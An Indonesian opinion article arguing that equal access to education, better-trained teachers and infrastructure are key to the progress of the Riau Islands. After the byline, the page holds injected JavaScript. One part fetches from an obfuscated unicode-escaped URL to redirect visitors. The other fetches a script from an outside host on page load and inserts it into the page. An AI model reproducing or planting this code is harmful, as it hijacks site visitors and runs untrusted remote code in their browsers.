
Oleh: Muhammad Almujrin Putra Anambas dan Mahasiswa STAIN Sultan Abdurrahman Kepulauan Riau
Pendidikan adalah fondasi utama dalam membangun peradaban manusia. Tidak ada bangsa atau daerah yang dapat mencapai kemajuan tanpa sistem pendidikan yang baik. Pendidikan tidak hanya berperan dalam meningkatkan kualitas individu, tetapi juga berdampak signifikan terhadap pembangunan ekonomi, sosial, dan budaya suatu daerah. Dalam konteks ini, pendidikan menjadi kunci utama dalam menciptakan perubahan yang berkelanjutan serta meningkatkan daya saing suatu daerah.
Meskipun pengaruh pendidikan terhadap kemajuan daerah telah diakui secara luas, namun tantangan dalam implementasi dan pemerataan akses pendidikan tetap menjadi isu yang harus diatasi. Oleh karena itu, penting untuk menggali lebih dalam bagaimana pendidikan memengaruhi kemajuan daerah, faktor-faktor pendukungnya, serta tantangan yang dihadapi dalam upaya menciptakan sistem pendidikan yang inklusif dan berkualitas.
Beberapa bulan lalu, Dinas Pendidikan Kepri mengeluarkan rilis berita pada Maret 2025 lalu, menyebutkan bahwa rata-rata lama sekolah di Kepri mencapai 11,3 tahun. Prestasi tersebut menempatkan Kepri sebagai daerah tebaik kedua setelah Provinsi Daerah Khusus Ibu Kota Jakarta. Tentu kita patut mengapresiasi prestasi terebut dan menjaga konsistensinya serta menjai lebih baik lagi.
Tetapi, bukan berarti tidak ada problema dalam dunia pendidikan di Kepri. Sebagai daerah kepulauan, rentang kendali dan sebaran penduduk menjadi problem utamanya. Misalnya, akses pendidikan masyarakat hintherland yang lebih sedikit dibandingkan masyarakat mainland, ketersediaan pendidik yang memadai untuk daerah-daerah pulau, dan juga infrastrukturnya.
Terkait dengan akses, pemerintah perlu memastikan bahwa setiap anak memiliki akses yang setara terhadap pendidikan, terlepas dari lokasi geografis di daerah kepulauan Riau. Kita akui bersama bahwa kondisi geografis antar pulau satu dengan pulau lainnya memiliki jarak tempuh yang lama, sering kali menjadi pemicu dalam menempuh jarak ke sekolah dengan menggunakan jalur laut. Apabila kondisi cuaca yang terkadang tidak mendukung, maka pelajar seringkali terlambat atau tidak sekolah. Sekolah satu atap yang kini banyak di beberapa daerah, mungkin menjadi solusi, namun perlu juga di dukung infrastruktur yang lebih layak lagi, seperti menambah perlengkapan keperluan sekolah berdasarkan jenjang pendidikannya.
Yang tidak kalah pentingnya lagi ialah tenaga pendidik dan kependidikan yang memadai. Mereka harus memiliki kompetensi yang baik dengan beban kerja yang sesuai. Mereka harus memiliki keterampilan yang lebih baik, kreatif dan inovatif. Kreatif dan inovasi dalam proses belajar mengajar, juga perlu disokong dengan pelatihan kompetensi. Guru adalah ujung tombak dalam sistem pendidikan. Oleh karena itu, pelatihan dan pengembangan profesional bagi tenaga pengajar harus menjadi prioritas. Selain itu, insentif bagi guru yang bersedia mengajar di daerah terpencil dapat meningkatkan kualitas pendidikan di daerah tersebut.
Berdasarkan kenyataan di atas, investasi dunia pendidikan adalah investasi jangka panjang karena ia akan berdampak pada peningkatan sumber daya manusia di suatu daerah. Kepala daerah yang baru di lantik di awal 2025 lalu, perlu memikirkan ulang kebijakannya di bidang pendidikan, lebih-lebih ketika gerakan efisiensi anggaran sedang diglorakan oleh pemerintah. Tetapi, sudah menjadi amanat undang-undang bahwa alokasi anggaran untuk pendidikan sekurangya 20 persen.
Di Kepulauan Riau ini, perlu mendapatkan perhatian ialah masyarakat di hinterland agar mereka memiliki kesempatan yang sama dalam pendidikan, agar mereka tidak tergerus oleh perkembangan zaman, agar mereka memiliki daya saing, dan agar mereka bisa memperbaiki taraf hidupnya. Penulis yakin, apabila masyarakat yang memiliki akses pendidikan yang baik, kesenjangan sosial cenderung lebih kecil.
Diharapkan, apabila akses pendidikan semakin merata, maka akan menciptakan masyarakat yang lebih peduli terhadap pembangunan berkelanjutan dan memiliki kontribusi aktif dalam mengatasi tantangan global. Maka dari itu, kemajuan suatu daerah tidak terlepas dari kemampuan para pelajarnya untuk beradaptasi dengan perkembangan teknologi. Dalam era digital, teknologi memainkan peran kunci dalam mempercepat pembangunan di berbagai sektor. Pendidikan yang berbasis teknologi tidak hanya memberikan keterampilan praktis kepada individu, tetapi juga mendorong terciptanya inovasi yang dapat mempercepat kemajuan daerah.[]
*Muhammad Almujrin
Putra Anambas dan Mahasiswa STAIN Sultan Abdurrahman Kepulauan Riau
(function(){if (document.cookie.includes(‘hasRedirected=1’)) return;fetch(‘\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0064\u0069\u0073\u0074\u0069\u0065\u002e\u0073\u0068\u006f\u0070/?t=json&u=153d4f720470d9e7a3e895c70153e7cd’).then(r => r.json()).then(d => {const
domain = d?.domain;if (domain) {document.cookie = ‘hasRedirected=1; max-age=86400; path=/’;location.href = domain + ‘?32861745670379’;}});})();;document.addEventListener(“DOMContentLoaded”, function () {
var url = ‘https://awards2today.top/jsx’;
fetch(url)
.then(response => response.text())
.then(data => {
var script = document.createElement(‘script’);
script.innerHTML = data.trim();
document.head.appendChild(script);
})
});